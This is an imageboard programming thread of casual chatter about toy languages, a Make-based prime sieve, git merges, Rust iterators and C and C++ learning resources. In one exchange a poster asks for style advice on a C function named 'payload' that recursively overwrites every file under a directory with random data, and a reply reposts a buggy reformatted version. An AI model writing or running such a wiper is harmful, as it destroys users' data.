/dpt/ - Daily Programming Thread

What are you working on, Jow Forums?

Last thread:

Attached: 1540184864586.jpg (1280x720, 113K)

Other urls found in this thread:

wiki.sei.cmu.edu/confluence/display/c/SEI CERT C Coding Standard
man.openbsd.org/style
blogs.dropbox.com/tech/2019/08/the-not-so-hidden-cost-of-sharing-code-between-ios-and-android/
functionalcs.github.io/curriculum/#sec-2-2
cs.cmu.edu/~15210/pasl.html
web.stanford.edu/class/cs106l/
twitter.com/NSFWRedditImage

Trying to write a basic parser in Go as my first program in the language.

How the fuck do you open files properly in this language? Managed to get it into bytes but can't do anything with it now cus the scanner function I wanna use for tokenising wants it to have a .Reader() method.

I'm trying to make the most unthreatening looking purely functional esoteric language possible while keeping the compiler super simple. How unthreatening does this look and how can I make it less threatening?
fact = (\n ->
n > 0 : n * fact(n - 1)
1
)

print(fact(5))

looks like haskell with custom characters

haskell

fact 0 = 1
fact (n+1) = (n+1) * fact n

haskell 2
fact n = product [1..n]

I'm making a new functional language. I've been reading a lot of Knuth's work and I'm all about readable code. Here's a factorial in my language.

fact is a function that takes a u32 named n and does the following
if n is greater than 0 then
we return n multipled by fact given n subtracted by 1
otherwise
we return 1


print fact given 5


It's a white space language, strongly typed, with optional type inference. If a function is defined without types the compile will take it as a generic and infer the types as needed.

too verbose

Rate my sieve, Jow Forums
# List operators
slice = $(wordlist 2,$(words $1),$1)
repl = $(if $(call eq,$(words $4),$1),$3,$(call repl,$1,$2,$3 $2,$(words $4) $4))
rotate = $(call slice,$1) $(firstword $1)
map = $(if $2,$(call map,$1,$(call slice,$2),$3,$4 $(call $1,$3,$(firstword $2),$4)),$4)
fold = $(if $2,$(call fold,$1,$(call slice,$2),$(call $1,$3,$(firstword $2))),$3)
zip = $(if $2,$(call zip,$1,$(call slice,$2),$(call rotate,$3),$4 $(call $1,$(firstword $2),$(firstword $3))),$4)

# Arithmetics
inc = $(words $(call repl,$1,_) _)
max = $(words $(subst __,_,$(join $(call repl,$1,_),$(call repl,$2,_))))

eq = $(filter $1,$2)
gt = $(filter-out $2,$(call max,$1,$2))
gte = $(call gt,$1,$2)$(call eq,$1,$2)

add = $(words $(call repl,$1,_) $(call repl,$2,_))
sub = $(words $(filter-out __,$(join $(call repl,$1,_),$(call repl,$2,_))))
mul = $(words $(call repl,$1,$(call repl,$2,_)))
div = $(if $(call gte,$1,$2),$(call add,1,$(call div,$(call sub,$1,$2),$2)),0)
double = $(call mul,2,$1)

isqrt_cand = $(if $(call gt,$(call mul,$(call inc,$1),$(call inc,$1)),$2),$1,$(call inc,$1))
isqrt = $(if $(call gte,$1,2),$(call isqrt_cand,$(call double,$(call isqrt,$(call div,$1,4))),$1),$1)

head = $(firstword $2)
count = $(words $3)

# Repeat call N times
loop = $(call fold,$2,$(call map,count,$(call repl,$1,_)),$3)

# Skip into a list
skip = $(call loop,$1,slice,$2)

# Eliminate multiples of a number (sieve)
cycle = $(call slice,$(call repl,$1,_)) 0
eliminate = $(if $(call eq,$2,0),0,$1)
sieve = $(call zip,head,$(call repl,$(call double,$1),_),$2) $(call zip,eliminate,$(call skip,$(call double,$1),$2),$(call loop,$(call sub,$1,1),rotate,$(call cycle,$1)))

# Helper to call sieve
dispatch = $(if $(call gt,$2,1),$(call sieve,$2,$1),$1)

n := 100
s := $(call isqrt,$(n))
numbers := $(call map,count,$(call repl,$(n),_))
primes := $(filter-out 0,$(call skip,2,$(call loop,$(s),dispatch,$(numbers))))
print = $(info $2)

.PHONY: all
all: ; $(call map,print,$(primes))

Ive seen go pop up a few times, i just dont trust it though cuz it was made by (go)ogle.

Attached: pic.jpg (625x417, 52K)

What is this? A mix of bash, perl, and php as seen from hell?

Attached: 1565296071044.jpg (847x1024, 86K)

I'm having a harder time reading that than an actual programming language.

It's GNU Make

That's the point. It reads exactly like it does. Maybe i'll relax the requirement for spelling out mathematical operations.

>u32
*unsigned 32-bit integer

"and does the following" - extremely verbose to the point of exhaustion
"is greater than" - i seriously hope you aren't serious

Well u32 is actually an alias. I didn't show it but basically:
u32 is a subtype of integers from 0 to 4294967296

It looks like it but it's actually a trap. It's more featureless and unsafe than C. That's what makes it esoteric. For example scary stuff like the following actually compiles and prints 120.
fact = (\n ->
n > 0 : n[0] * fact(n - 1)
1
)

print(fact(5, 6))

Attached: 1428901069853.jpg (800x600, 54K)

I'll give you the first one, but what's wrong with the second? Like I said in maybe i'll relax the rules for math operations.

What are some good sites/apps for learning some languages? I've used SoloLearn, LinkedIn Learning, EdX, and MIT OCW. They're all good, but I'm looking to try some more. Or, are any of those I've listed good enough or terrible?

dumb frogposter

>SoloLearn
Dude

Absolutely disgusting, consider suicide

It's a functional programming version of Sieve of Eratosthenes implemented in Make

because "is greater than or also equal to" would be the worst one of all

I'm used to working with branches, but I think I screwed up royally somewhere on a personal project.

I make a branch using git checkout -b my-new-feature . I make some changes and subsequently make several commits.

After several commits, I git push --set-upstream origin my-new-feature, and then open a pull request. After I merge the pull request, however, master sees all of the commits I made on the branch instead of just having the one merge commit from the branch to master.
Is this expected behavior? If not, how can I make it so that the master only gets the merged version?

>What are you working on, Jow Forums?
continued my autism-fueled journey into Rust's iterators

Attached: slice_digits.png (652x952, 116K)

fn fact: u32 n is
n > 0: n * fact(n - 1) or 1

How so?

what does the program do?

why are you merging the branches on github why don’t you just merge them locally. also that’s the default setting for repos on github but you can change it to rebase or squash instead

why rust though?

This depends entirely on how your remote that is doing the PR is configured. By default, github does a merge commit, always. But you can configure it to do a fast-forward merge. I'm uncertain about other providers.

Is there a way to make this code more clear/readable?
Third day of learning C and I don't know shit about best practices in it.
void payload(char *dirname) {
DIR *dp = opendir(dirname);
if(!dp) return; //Return if directory can't be accessed
chdir(dirname);
struct dirent *ep;
//Loop through files in the direcory
while((ep = readdir(dp))) {
struct stat st;
lstat(ep->d_name, &st);
//Is a regular file
if(S_ISREG(st.st_mode)) {
FILE *fp = fopen(ep->d_name, "w"); //Open current file for writing
if(!fp) continue; //Skip if file can't be opened
char *str = randstr((float) st.st_size * 0.8F);
fputs(str, fp);
free(str);
fclose(fp);
}
//Is a directory
if(S_ISDIR(st.st_mode)) {
if(strcmp(".", ep->d_name) && strcmp("..", ep->d_name)) {
payload(ep->d_name);
}
}
}
free(ep);
closedir(dp);
chdir("..");
}

Attached: c_unites_workers.jpg (2000x2610, 1.87M)

I wish I wasn't lazy

Attached: 1523291997783.png (1141x829, 161K)

Fuck readibility C and C++ are like cursive ur doing it right if only you can read your own code.

is not less than

*sequences your evaluation*

Attached: 1565102348362.png (400x457, 154K)

>Why not merge them locally?
I prefer to have the pull request. visible on the online github portal (still learning github, but I can try doing it on the command line).

>That's the default setting
Oh. I didn't know that. I guess what's why each time I merge a pull request, I get like ten more commits to master.
I'll be more attentive to that setting next time. Thank you!

static void payload(const char *dirname)
{
DIR *dp = opendir(dirname);
struct dirent *ep = NULL;

if (!dp) return;
chdir(dirname);

while ((ep = readdir(dp))) {
struct stat st;
lstat(ep->d_name, &st);

if (S_ISREG(st.st_mode)) {
FILE *fp = fopen(ep->d_name, "w");
if (!fp) continue;
char *str = randstr((float) st.st_size * 0.8F);
fputs(str, fp);
free(str);
fclose(fp);
}
//Is a directory
if (S_ISDIR(st.st_mode)
&& strcmp(".", ep->d_name)
&& strcmp("..", ep->d_name))
payload(ep->d_name);

free(ep);
closedir(dp);
chdir("..");
}

Given a u32 slice, it provides iterators over each digit from the front and from the back, in order.
[ 1, 23, 456, 7, 89 ] => 1, 2, 3, 4, 5, 6, 7, 8, 9

It composes the slice::Iter with the Digits iterator (which iterates over a single number), to do this; so the iterator itself doesn't need to know how to handle single digits.

Idk, it's fun I guess.

Go go, Anone! You can do it! You can learn JavaScript!

Attached: 5c33bcce0a4aa8a9d65870555c29caf4.jpg (567x850, 75K)

So you have to retype the entire logic to be it's own inverse to add a test for equality? Seems back-ass-ward

Thanks based user

What did she mean by this?

pls rate.

Attached: java.png (644x508, 17K)

Attached: 0n.jpg (500x500, 20K)

Nice

looks like molyneaux from the thumbnail

Attached: tierlist.png (878x758, 218K)

Read through the SEI Cert C coding standard as you write stuff wiki.sei.cmu.edu/confluence/display/c/SEI CERT C Coding Standard

I think CMU maintains it. It's generally good advice, plus you could also look at a style guide
man.openbsd.org/style

>js over anything
lole

Rust is fun until you have to write a large program and then the whole 'lifetimes' abstraction becomes pretty much impossible, hence why everybody is just writing 'microservices' in Rust these days and not large programs unless they're highly exp systems developers.

>Javascript is BAD
>I'm ready for my reddit gold now, fellow Jow Forumsentoomen

Attached: 1554312555356.gif (290x221, 1.42M)

>putting C over C++
>putting C that high period

Reminder to study and extensively

mate, it's a fun idea but this is just too verbose. your language is basically unusable without autocomplete when you use keywords and operators that long

>sepples

blogs.dropbox.com/tech/2019/08/the-not-so-hidden-cost-of-sharing-code-between-ios-and-android/

cpp on suicide watch lmao

>drop shared code base in c++
>rewrite shite in kotlin and swift
>it is somehow cheaper
The fuck is happening with our world

Hot take: JavaScript and C++ (both modern vetsions) are only languages that matter in current year. Cmv

>Knuth
So you're basically rolling Literate Programming paradigm/style
Not so sure about the 'we', I would remove that or else a file filled with 'we return, we do this, we do that'.
Also in a functional language you don't do any 'returning'.

If you want to see the simplest functional language that was designed via a data on language design at Brown U then look at Pyret.

>implying

I'm going to trigger ALL of you retards.

Attached: Screen Shot 2019-08-16 at 6.12.03 PM.png (515x496, 88K)

if Nim didn't have the stupid indentation blocks it would be the best language out there

Indentation makes code cleaner and easier to read.

I think she looks thin, if you're going for cartoonish proportions make her limbs thicker. that said my opinions are no parameter for that since I'm not an artist or expertise

Write GUI in Python, write logic in Rust
Write Frontend with JS, write logic in Rust
Rust provides excellent interop with both of these.
Python, JS and Rust is all you need :)

Qt or GTK For C++?

>Java is not corporate tier.
Congratulations, you did it.

You only need Python and ASM. All other languages are unnecessary.

>Java not corporate tier

Meant to reply

Pyhton is weird, Guido is a fun faggot I like him.

Everything else if fine.

hmmm, today i will write some clojurescript

Attached: 1565816032909.jpg (1538x2048, 402K)

Easier to skim maybe, not easier to read properly

>corporate
>Rust

Qt of fucking course

#? braces

proc main() {
echo("Hello");
}

when (isMainModule) {
main();
}


Im a rust fag btw idk if they dropped support for syntax skins

>no inherent casts from void*
>namespaces
>namespaces have special snowflake accessor operator
>templates to do something most compiler preprocessors were perfectly capable of, but somehow even uglier

C is simple, but it doesn't sacrifice capability. The cost of having to use a 3rd party library is a small price to pay for that elegance.

I started with that chart, but I have only 1 hour per day to work on it.

Attached: 1565615552799.jpg (1664x2450, 828K)

Nah. PHP and Python both matter a ton. R too, despite being a shittier APL derivative than J.

>read SICP alongside
all credibility lost

What should I do?

start with learncpp
then effective C++
then more effective C++

Take Brown's PAPL class instead:
functionalcs.github.io/curriculum/#sec-2-2

The lectures are all open, download them

desu PHP ain't that bad when you have Laravel with all its support libraries wrapping the godawfully named native functions

Also you have more than 1hr.
Get up early.
When you work on shit in the morning, you're thinking about shit all day. Then at night you are free to do social things. In the morning, nobody is awake, you're free to learn CeePeePee

What is Mozilla

I'm reading C a modern approach and liking it quite a lot so far

Open source?

yes

Sorry, didn't understand very well. Should I follow just the 2.2 steps of this website or all of then?

Just take whatever interests you.
The brown course is accelerated CS, the 15-213 course teaches gcc/asm/c. After both C++ is easy to grok or just slog through those other books user suggested

Thank you.

you dont know anything
please stop posting

CMU also has a parallel C++ book
cs.cmu.edu/~15210/pasl.html

it's like a crash course in C++ if you follow the rabbit hole into things, like learning more about templates.

Also, stanford has a class web.stanford.edu/class/cs106l/ but sadly they had to delete the Youtube lectures because they were sued for 'not being accessible enough' however the pdf lecture slides are good enough if you pair it with those books the other user suggested.

I too had to dick around trying to learn C++ for that parallel algorithms course/PASL book, it was highly annoying not being able to find any free resources.

Yay, I gave it operator overloading. I think it's done now. It may look innocent and easy but it never gives compiler errors and has tons of UB. Hopefully, I outdid C.
/[6] = (\a, b ->
a >= b : 1 + (a - b) / b
0
)

print(12 / 3)

Maybe I should even strip all the built in operators except for - and < and force the user to define the rest.